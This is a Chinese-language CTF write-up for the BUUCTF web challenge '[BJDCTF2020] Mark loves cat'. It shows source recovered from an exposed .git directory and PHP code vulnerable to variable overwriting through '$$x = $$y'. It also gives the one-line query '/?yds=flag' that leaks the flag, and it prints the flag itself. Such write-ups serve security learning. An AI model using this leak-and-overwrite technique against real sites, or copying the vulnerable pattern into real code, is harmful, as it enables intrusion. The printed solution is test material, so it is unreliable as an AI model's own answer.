CTF刷题记录-Web-[BJDCTF2020]Mark loves cat
只是一只路人
2023年03月08日 16:03
收录于文集
共43篇

来源:

buuctf

题目:

https://github.com/BjdsecCA/BJDCTF2020

WP:

扫描发现有git目录:

代码块
JavaScript
自动换行
复制代码
[200][application/octet-stream][137.00b] http://03f6c493-a83d-4914-8f9c-063e31d22780.node4.buuoj.cn:81/.git/config
复制成功

用Git_Extract下载源码,得到flag.php

代码块
JavaScript
自动换行
复制代码
<?php

$flag = file_get_contents('/flag');
复制成功

和index.php

代码块
JavaScript
自动换行
复制代码
<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}



echo "the flag is: ".$flag;
复制成功

明显要从index.php中入手,我们看第一个if,只要没设置get和post的flag,就会退出,退出时调用yds,会显示相关信息。

同时我们注意到有以下语句:

代码块
JavaScript
自动换行
复制代码
foreach($_GET as $x => $y){
    $$x = $$y;
}
复制成功

即get请求的时候,传的参数会变成变量的指针,因此可以利用来覆盖变量。因此我们传参数把yds的指针变成flag,即可在exit的时候获得flag:

代码块
JavaScript
自动换行
复制代码
/?yds=flag
复制成功

flag{64d4e7f1-68b3-4cef-aab1-99727fb13e09}